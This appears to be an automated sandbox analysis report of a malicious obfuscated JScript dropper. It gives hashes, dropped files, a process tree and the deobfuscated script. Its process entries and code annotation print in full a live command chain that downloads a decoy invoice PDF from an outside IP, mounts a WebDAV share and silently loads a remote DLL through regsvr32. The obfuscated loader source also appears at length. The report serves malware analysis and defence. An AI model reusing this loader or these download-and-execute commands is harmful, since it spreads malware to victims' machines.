Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15818), with CRLF line terminators
Entropy (8bit):	4.933279501298481
TrID:
File name:	1794629123897518052.js
File size:	19'498 bytes
MD5:	cbf9852c233751829ddb0c2dd22b65c4
SHA1:	eef4f67c1d0d3ecf038c251788786309b52bad2a
SHA256:	215d1c5f77bd124e112cd2d29799fe2c6d037cfd2cae259ac566b9044bbe9640
SHA512:	44085bfc62bf10922ac1a2aa980fb68643e5003aa8c78f2cb555ced7d1a70b7d121d2c58e258859d935641b31eb5ee4f8345ee696261ee24738c37f4460c68d4
SSDEEP:	384:6fnkcv8pzAGikV5SSV5AKalbqGL4Qu1iIUtb:ZcPkVwhKalbqGL4Qu1iN
TLSH:	9F92F0D9B914CA07CEFD81680FB108A412B9D18C4A57B4F92044C48897AD7FAFDFB5B6
File Content Preview:	function rvhorikxs(){konqf=[1031,3079,5127,4103,2055,3072];var zohlsnwma=this[lclwzgmzy+epwaeb+snufz+lvlvkmfb+caalieuiy+ekhhqa+grohnos+hcuqpxbx](this[tvpcq+iollp+nsdwwiinf+snufz+wzbbruftb+lclwzgmzy+hcuqpxbx][ncxhkga+snufz+caalieuiy+epwaeb+hcuqpxbx+caalieu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	14:09:57
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1794629123897518052.js"
Imagebase:	0x7ff7e8f30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:09:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Imagebase:	0x7ff62b0d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:09:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:09:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:10:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:10:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff62b0d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:10:03
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60fb80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:10:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:10:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:10:05
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1548,i,205549767828196929,3336906729478641028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rvhorikxs() {	rvhorikxs() ➔ undefined
1	konqf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zohlsnwma = this[lclwzgmzy + epwaeb + snufz + lvlvkmfb + caalieuiy + ekhhqa + grohnos + hcuqpxbx] ( this[tvpcq + iollp + nsdwwiinf + snufz + wzbbruftb + lclwzgmzy + hcuqpxbx][ncxhkga + snufz + caalieuiy + epwaeb + hcuqpxbx + caalieuiy + qxxdv + eelfmtgrr + gruygzjyl + caalieuiy + nsdwwiinf + hcuqpxbx] ( tvpcq + iollp + nsdwwiinf + snufz + wzbbruftb + lclwzgmzy + hcuqpxbx + usghisqdf + iollp + hdpauk + caalieuiy + ujxmmgo + ujxmmgo ) [bkkhjcaay + caalieuiy + kjywfmp + bkkhjcaay + caalieuiy + epwaeb + uoximit] ( eoivbia + nfmco + wtvjh + qkvhhwge + unwzqend + ncxhkga + muzlc + bkkhjcaay + bkkhjcaay + wtvjh + jppfioe + hjswrcfhk + unwzqend + muzlc + iollp + wtvjh + bkkhjcaay + xvguhvvjv + ncxhkga + pnlsod + grohnos + hcuqpxbx + snufz + pnlsod + ujxmmgo + reykagitp + aaxtldunz + epwaeb + grohnos + caalieuiy + ujxmmgo + xvguhvvjv + ekhhqa + grohnos + hcuqpxbx + caalieuiy + snufz + grohnos + epwaeb + hcuqpxbx + wzbbruftb + pnlsod + grohnos + epwaeb + ujxmmgo + xvguhvvjv + jxvzrxu + pnlsod + nsdwwiinf + epwaeb + ujxmmgo + caalieuiy ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vjnfsxs = 0 ; vjnfsxs < konqf[ujxmmgo + caalieuiy + grohnos + kjywfmp + hcuqpxbx + hdpauk] ; ++ vjnfsxs )
4	{
5	if ( zohlsnwma == konqf[vjnfsxs] )
6	{
7	zohlsnwma = true;
8	break ;
9	}
10	}
11	if ( zohlsnwma !== true )
12	this[tvpcq + iollp + nsdwwiinf + snufz + wzbbruftb + lclwzgmzy + hcuqpxbx][yxkpyuhab + yumxiq + wzbbruftb + hcuqpxbx] ( );
13	this[tvpcq + iollp + nsdwwiinf + snufz + wzbbruftb + lclwzgmzy + hcuqpxbx][ncxhkga + snufz + caalieuiy + epwaeb + hcuqpxbx + caalieuiy + qxxdv + eelfmtgrr + gruygzjyl + caalieuiy + nsdwwiinf + hcuqpxbx] ( tvpcq + iollp + nsdwwiinf + snufz + wzbbruftb + lclwzgmzy + hcuqpxbx + usghisqdf + iollp + hdpauk + caalieuiy + ujxmmgo + ujxmmgo ) [snufz + yumxiq + grohnos] ( nsdwwiinf + hvqrhki + uoximit + reykagitp + grgzp + nsdwwiinf + reykagitp + lclwzgmzy + pnlsod + joujvxa + caalieuiy + snufz + lvlvkmfb + hdpauk + caalieuiy + ujxmmgo + ujxmmgo + usghisqdf + caalieuiy + uoamzlhh + caalieuiy + reykagitp + eivrkwzoc + ncxhkga + pnlsod + hvqrhki + hvqrhki + epwaeb + grohnos + uoximit + reykagitp + mpjqscesi + ekhhqa + grohnos + izprcj + pnlsod + itozdnkrd + caalieuiy + eivrkwzoc + tvpcq + caalieuiy + eelfmtgrr + bkkhjcaay + caalieuiy + qrfqm + yumxiq + caalieuiy + lvlvkmfb + hcuqpxbx + reykagitp + eivrkwzoc + qxxdv + yumxiq + hcuqpxbx + uozam + wzbbruftb + ujxmmgo + caalieuiy + reykagitp + huftqg + hcuqpxbx + caalieuiy + hvqrhki + lclwzgmzy + huftqg + xvguhvvjv + wzbbruftb + grohnos + izprcj + pnlsod + wzbbruftb + nsdwwiinf + caalieuiy + usghisqdf + lclwzgmzy + uoximit + xdrkfywd + reykagitp + hdpauk + hcuqpxbx + hcuqpxbx + lclwzgmzy + uaehdw + grgzp + grgzp + vjjlubrdq + qgeqf + kfwxgo + usghisqdf + vjjlubrdq + vknzfdzc + kfwxgo + usghisqdf + vjjlubrdq + usghisqdf + zrjeabb + ikiiiivyk + lelwrkao + grgzp + wzbbruftb + grohnos + izprcj + pnlsod + wzbbruftb + nsdwwiinf + caalieuiy + usghisqdf + lclwzgmzy + hdpauk + lclwzgmzy + mpjqscesi + xofzdtd + xofzdtd + lvlvkmfb + hcuqpxbx + epwaeb + snufz + hcuqpxbx + reykagitp + huftqg + hcuqpxbx + caalieuiy + hvqrhki + lclwzgmzy + huftqg + xvguhvvjv + wzbbruftb + grohnos + izprcj + pnlsod + wzbbruftb + nsdwwiinf + caalieuiy + usghisqdf + lclwzgmzy + uoximit + xdrkfywd + xofzdtd + xofzdtd + nsdwwiinf + hvqrhki + uoximit + reykagitp + grgzp + nsdwwiinf + reykagitp + grohnos + caalieuiy + hcuqpxbx + reykagitp + yumxiq + lvlvkmfb + caalieuiy + reykagitp + xvguhvvjv + xvguhvvjv + vjjlubrdq + qgeqf + kfwxgo + usghisqdf + vjjlubrdq + vknzfdzc + kfwxgo + usghisqdf + vjjlubrdq + usghisqdf + zrjeabb + ikiiiivyk + lelwrkao + qaztlff + pamot + pamot + pamot + pamot + xvguhvvjv + uoximit + epwaeb + izprcj + joujvxa + joujvxa + joujvxa + snufz + pnlsod + pnlsod + hcuqpxbx + xvguhvvjv + xofzdtd + xofzdtd + nsdwwiinf + hvqrhki + uoximit + reykagitp + grgzp + nsdwwiinf + reykagitp + snufz + caalieuiy + kjywfmp + lvlvkmfb + izprcj + snufz + kfwxgo + zrjeabb + reykagitp + grgzp + lvlvkmfb + reykagitp + xvguhvvjv + xvguhvvjv + vjjlubrdq + qgeqf + kfwxgo + usghisqdf + vjjlubrdq + vknzfdzc + kfwxgo + usghisqdf + vjjlubrdq + usghisqdf + zrjeabb + ikiiiivyk + lelwrkao + qaztlff + pamot + pamot + pamot + pamot + xvguhvvjv + uoximit + epwaeb + izprcj + joujvxa + joujvxa + joujvxa + snufz + pnlsod + pnlsod + hcuqpxbx + xvguhvvjv + vknzfdzc + kfwxgo + ikiiiivyk + lelwrkao + vjjlubrdq + kfwxgo + vjjlubrdq + pamot + zrjeabb + kfwxgo + zrjeabb + vjjlubrdq + lelwrkao + kfwxgo + usghisqdf + uoximit + ujxmmgo + ujxmmgo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll",0,false) ➔ 0
14	}
15	snufz = "K";
16	snufz = "u";
17	snufz = "f";
18	snufz = "l";
19	snufz = "E";
20	snufz = "b";
21	snufz = "r";
22	lelwrkao = "Z";
23	lelwrkao = "V";
24	lelwrkao = "R";
25	lelwrkao = "Z";
26	lelwrkao = "Y";
27	lelwrkao = "a";
28	lelwrkao = "n";
29	lelwrkao = "n";
30	lelwrkao = "q";
31	lelwrkao = "l";
32	lelwrkao = "T";
33	lelwrkao = "s";
34	lelwrkao = "U";
35	lelwrkao = "k";
36	lelwrkao = "L";
37	lelwrkao = "I";
38	lelwrkao = "U";
39	lelwrkao = "U";
40	lelwrkao = "y";
41	lelwrkao = "g";
42	lelwrkao = "5";
43	gruygzjyl = "E";
44	gruygzjyl = "j";
45	wzbbruftb = "x";
46	wzbbruftb = "R";
47	wzbbruftb = "z";
48	wzbbruftb = "H";
49	wzbbruftb = "p";
50	wzbbruftb = "i";
51	jxvzrxu = "G";
52	jxvzrxu = "K";
53	jxvzrxu = "R";
54	jxvzrxu = "t";
55	jxvzrxu = "M";
56	jxvzrxu = "s";
57	jxvzrxu = "x";
58	jxvzrxu = "Q";
59	jxvzrxu = "t";
60	jxvzrxu = "f";
61	jxvzrxu = "i";
62	jxvzrxu = "H";
63	jxvzrxu = "C";
64	jxvzrxu = "a";
65	jxvzrxu = "Q";
66	jxvzrxu = "Q";
67	jxvzrxu = "p";
68	jxvzrxu = "P";
69	jxvzrxu = "x";
70	jxvzrxu = "M";
71	jxvzrxu = "Z";
72	jxvzrxu = "y";
73	jxvzrxu = "R";
74	jxvzrxu = "V";
75	jxvzrxu = "j";
76	jxvzrxu = "L";
77	jxvzrxu = "p";
78	jxvzrxu = "M";
79	jxvzrxu = "x";
80	jxvzrxu = "L";
81	jxvzrxu = "L";
82	hdpauk = "D";
83	hdpauk = "C";
84	hdpauk = "G";
85	hdpauk = "e";
86	hdpauk = "h";
87	qrfqm = "l";
88	qrfqm = "W";
89	qrfqm = "p";
90	qrfqm = "t";
91	qrfqm = "C";
92	qrfqm = "b";
93	qrfqm = "O";
94	qrfqm = "Q";
95	qrfqm = "P";
96	qrfqm = "W";
97	qrfqm = "K";
98	qrfqm = "I";
99	qrfqm = "i";
100	qrfqm = "b";
101	qrfqm = "y";
102	qrfqm = "e";
103	qrfqm = "u";
104	qrfqm = "s";
105	qrfqm = "K";
106	qrfqm = "r";
107	qrfqm = "G";
108	qrfqm = "m";
109	qrfqm = "P";
110	qrfqm = "Z";
111	qrfqm = "V";
112	qrfqm = "f";
113	qrfqm = "B";
114	qrfqm = "m";
115	qrfqm = "R";
116	qrfqm = "P";
117	qrfqm = "C";
118	qrfqm = "w";
119	qrfqm = "D";
120	qrfqm = "m";
121	qrfqm = "U";
122	qrfqm = "P";
123	qrfqm = "L";
124	qrfqm = "a";
125	qrfqm = "T";
126	qrfqm = "Z";
127	qrfqm = "x";
128	qrfqm = "q";
129	iollp = "x";
130	iollp = "n";
131	iollp = "k";
132	iollp = "G";
133	iollp = "f";
134	iollp = "d";
135	iollp = "K";
136	iollp = "I";
137	iollp = "r";
138	iollp = "Z";
139	iollp = "Z";
140	iollp = "C";
141	iollp = "S";
142	qxxdv = "O";
143	qxxdv = "f";
144	qxxdv = "J";
145	qxxdv = "F";
146	qxxdv = "M";
147	qxxdv = "y";
148	qxxdv = "u";
149	qxxdv = "b";
150	qxxdv = "K";
151	qxxdv = "s";
152	qxxdv = "O";
153	qxxdv = "r";
154	qxxdv = "I";
155	qxxdv = "B";
156	qxxdv = "D";
157	qxxdv = "C";
158	qxxdv = "a";
159	qxxdv = "y";
160	qxxdv = "P";
161	qxxdv = "L";
162	qxxdv = "r";
163	qxxdv = "O";
164	hjswrcfhk = "a";
165	hjswrcfhk = "R";
166	hjswrcfhk = "h";
167	hjswrcfhk = "T";
168	grohnos = "Y";
169	grohnos = "c";
170	grohnos = "z";
171	grohnos = "S";
172	grohnos = "p";
173	grohnos = "W";
174	grohnos = "D";
175	grohnos = "U";
176	grohnos = "n";
177	grohnos = "Y";
178	grohnos = "m";
179	grohnos = "b";
180	grohnos = "s";
181	grohnos = "u";
182	grohnos = "z";
183	grohnos = "U";
184	grohnos = "K";
185	grohnos = "e";
186	grohnos = "w";
187	grohnos = "g";
188	grohnos = "u";
189	grohnos = "q";
190	grohnos = "Z";
191	grohnos = "P";
192	grohnos = "c";
193	grohnos = "I";
194	grohnos = "n";
195	grohnos = "n";
196	uoamzlhh = "L";
197	uoamzlhh = "P";
198	uoamzlhh = "E";
199	uoamzlhh = "W";
200	uoamzlhh = "I";
201	uoamzlhh = "l";
202	uoamzlhh = "E";
203	uoamzlhh = "a";
204	uoamzlhh = "w";
205	uoamzlhh = "m";
206	uoamzlhh = "M";
207	uoamzlhh = "j";
208	uoamzlhh = "n";
209	uoamzlhh = "Y";
210	uoamzlhh = "G";
211	uoamzlhh = "x";
212	tvpcq = "B";
213	tvpcq = "c";
214	tvpcq = "F";
215	tvpcq = "K";
216	tvpcq = "m";
217	tvpcq = "G";
218	tvpcq = "l";
219	tvpcq = "R";
220	tvpcq = "E";
221	tvpcq = "G";
222	tvpcq = "h";
223	tvpcq = "W";
224	mpjqscesi = "L";
225	mpjqscesi = "V";
226	mpjqscesi = "d";
227	mpjqscesi = "w";
228	mpjqscesi = "z";
229	mpjqscesi = "I";
230	mpjqscesi = "E";
231	mpjqscesi = "t";
232	mpjqscesi = "w";
233	mpjqscesi = "L";
234	mpjqscesi = "t";
235	mpjqscesi = "Z";
236	mpjqscesi = "v";
237	mpjqscesi = "k";
238	mpjqscesi = "M";
239	mpjqscesi = "x";
240	mpjqscesi = "Y";
241	mpjqscesi = "K";
242	mpjqscesi = "S";
243	mpjqscesi = "o";
244	mpjqscesi = "t";
245	mpjqscesi = "q";
246	mpjqscesi = "Q";
247	mpjqscesi = "A";
248	mpjqscesi = "n";
249	mpjqscesi = "Q";
250	mpjqscesi = "N";
251	mpjqscesi = "d";
252	mpjqscesi = "l";
253	mpjqscesi = "U";
254	mpjqscesi = "X";
255	mpjqscesi = "\"";
256	vjjlubrdq = "A";
257	vjjlubrdq = "N";
258	vjjlubrdq = "v";
259	vjjlubrdq = "y";
260	vjjlubrdq = "C";
261	vjjlubrdq = "1";
262	nsdwwiinf = "I";
263	nsdwwiinf = "Y";
264	nsdwwiinf = "F";
265	nsdwwiinf = "p";
266	nsdwwiinf = "A";
267	nsdwwiinf = "C";
268	nsdwwiinf = "v";
269	nsdwwiinf = "E";
270	nsdwwiinf = "D";
271	nsdwwiinf = "U";
272	nsdwwiinf = "j";
273	nsdwwiinf = "D";
274	nsdwwiinf = "F";
275	nsdwwiinf = "U";
276	nsdwwiinf = "n";
277	nsdwwiinf = "t";
278	nsdwwiinf = "M";
279	nsdwwiinf = "y";
280	nsdwwiinf = "y";
281	nsdwwiinf = "C";
282	nsdwwiinf = "S";
283	nsdwwiinf = "z";
284	nsdwwiinf = "c";
285	nsdwwiinf = "r";
286	nsdwwiinf = "e";
287	nsdwwiinf = "E";
288	nsdwwiinf = "l";
289	nsdwwiinf = "h";
290	nsdwwiinf = "O";
291	nsdwwiinf = "S";
292	nsdwwiinf = "s";
293	nsdwwiinf = "L";
294	nsdwwiinf = "I";
295	nsdwwiinf = "A";
296	nsdwwiinf = "i";
297	nsdwwiinf = "E";
298	nsdwwiinf = "h";
299	nsdwwiinf = "Q";
300	nsdwwiinf = "u";
301	nsdwwiinf = "G";
302	nsdwwiinf = "d";
303	nsdwwiinf = "c";
304	xdrkfywd = "F";
305	xdrkfywd = "V";
306	xdrkfywd = "P";
307	xdrkfywd = "Q";
308	xdrkfywd = "S";
309	xdrkfywd = "i";
310	xdrkfywd = "h";
311	xdrkfywd = "j";
312	xdrkfywd = "f";
313	nfmco = "H";
314	nfmco = "n";
315	nfmco = "E";
316	nfmco = "P";
317	nfmco = "i";
318	nfmco = "r";
319	nfmco = "O";
320	nfmco = "Y";
321	nfmco = "m";
322	nfmco = "W";
323	nfmco = "t";
324	nfmco = "S";
325	nfmco = "s";
326	nfmco = "A";
327	nfmco = "t";
328	nfmco = "r";
329	nfmco = "L";
330	nfmco = "l";
331	nfmco = "Y";
332	nfmco = "c";
333	nfmco = "O";
334	nfmco = "n";
335	nfmco = "t";
336	nfmco = "m";
337	nfmco = "B";
338	nfmco = "o";
339	nfmco = "J";
340	nfmco = "E";
341	nfmco = "S";
342	nfmco = "x";
343	nfmco = "I";
344	nfmco = "u";
345	nfmco = "O";
346	nfmco = "G";
347	nfmco = "B";
348	nfmco = "e";
349	nfmco = "D";
350	nfmco = "U";
351	nfmco = "I";
352	nfmco = "K";
353	nfmco = "K";
354	nfmco = "K";
355	eoivbia = "H";
356	eoivbia = "u";
357	eoivbia = "q";
358	eoivbia = "U";
359	eoivbia = "n";
360	eoivbia = "X";
361	eoivbia = "x";
362	eoivbia = "d";
363	eoivbia = "z";
364	eoivbia = "w";
365	eoivbia = "l";
366	eoivbia = "m";
367	eoivbia = "x";
368	eoivbia = "b";
369	eoivbia = "Z";
370	eoivbia = "n";
371	eoivbia = "b";
372	eoivbia = "m";
373	eoivbia = "I";
374	eoivbia = "U";
375	eoivbia = "v";
376	eoivbia = "J";
377	eoivbia = "X";
378	eoivbia = "r";
379	eoivbia = "n";
380	eoivbia = "u";
381	eoivbia = "b";
382	eoivbia = "I";
383	eoivbia = "x";
384	eoivbia = "P";
385	eoivbia = "H";
386	pamot = "8";
387	yumxiq = "M";
388	yumxiq = "S";
389	yumxiq = "b";
390	yumxiq = "o";
391	yumxiq = "r";
392	yumxiq = "C";
393	yumxiq = "i";
394	yumxiq = "F";
395	yumxiq = "z";
396	yumxiq = "T";
397	yumxiq = "Q";
398	yumxiq = "Z";
399	yumxiq = "n";
400	yumxiq = "L";
401	yumxiq = "Z";
402	yumxiq = "q";
403	yumxiq = "C";
404	yumxiq = "A";
405	yumxiq = "T";
406	yumxiq = "s";
407	yumxiq = "n";
408	yumxiq = "m";
409	yumxiq = "u";
410	joujvxa = "l";
411	joujvxa = "A";
412	joujvxa = "p";
413	joujvxa = "h";
